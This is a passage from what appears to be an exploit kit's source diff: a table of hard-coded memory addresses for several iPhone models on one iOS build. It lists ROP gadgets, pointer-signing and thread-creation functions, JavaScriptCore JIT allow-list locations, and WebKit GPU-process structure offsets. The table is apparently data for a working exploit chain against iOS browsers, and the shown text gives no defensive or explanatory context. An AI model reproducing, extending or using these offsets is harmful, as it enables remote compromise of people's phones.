CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703b48n, + free_slabs : 0x1ed7bd2d0n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d64f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d61a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d61a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d61b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d60f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d61b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e2758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e19c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2710fc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883538n, + WebCore__initPKContact_value : 0x1ed883540n, + WebCore__PAL_getPKContactClass : 0x1ed87a9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877940n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,8_22G89": { + __pthread_head : 0x2689d8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9ba8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9690n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f95f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9640n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8a38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95d70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7078c8n, + free_slabs : 0x1ed7c1050n, + gadget_control_1_ios184 : 0x23ee2c2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f00a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da270n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d9f20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d9f28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d9f30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d9e70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d9f38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cbce8b4n, + libGPUCompilerImplLazy_cstring : 0x23bd18870n, + libsystem_c__atexit_mutex : 0x1ed6e64d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5740n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2575f3e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27103c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a4e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8872b8n, + WebCore__initPKContact_value : 0x1ed8872c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e778n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885a90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885a88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885a70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b6c0n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone13,1_22G89": { + __pthread_head : 0x268d04020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f61e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5078n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703f08n, + free_slabs : 0x1ed7bd690n, + gadget_control_1_ios184 : 0x23ed492ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d64b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6578n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caeb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc35870n, + libsystem_c__atexit_mutex : 0x1ed6e2b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1d80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2578cbe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271378000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876b28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8838f8n, + WebCore__initPKContact_value : 0x1ed883900n, + WebCore__PAL_getPKContactClass : 0x1ed87adb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8820d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8820c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8820b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877d00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone13,2_3_22G89": { + __pthread_head : 0x26971c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f51b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704048n, + free_slabs : 0x1ed7bd7d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d69f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d66a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d66a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d65f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d66b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e2c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1ec0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a2ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271da8000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876c68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883a38n, + WebCore__initPKContact_value : 0x1ed883a40n, + WebCore__PAL_getPKContactClass : 0x1ed87aef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8821f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877e40n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone13,4_22G89": { + __pthread_head : 0x26971c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f51b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704048n, + free_slabs : 0x1ed7bd7d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d69f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d66a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d66a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d65f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d66b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e2c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1ec0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a2ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271da8000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876c68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883a38n, + WebCore__initPKContact_value : 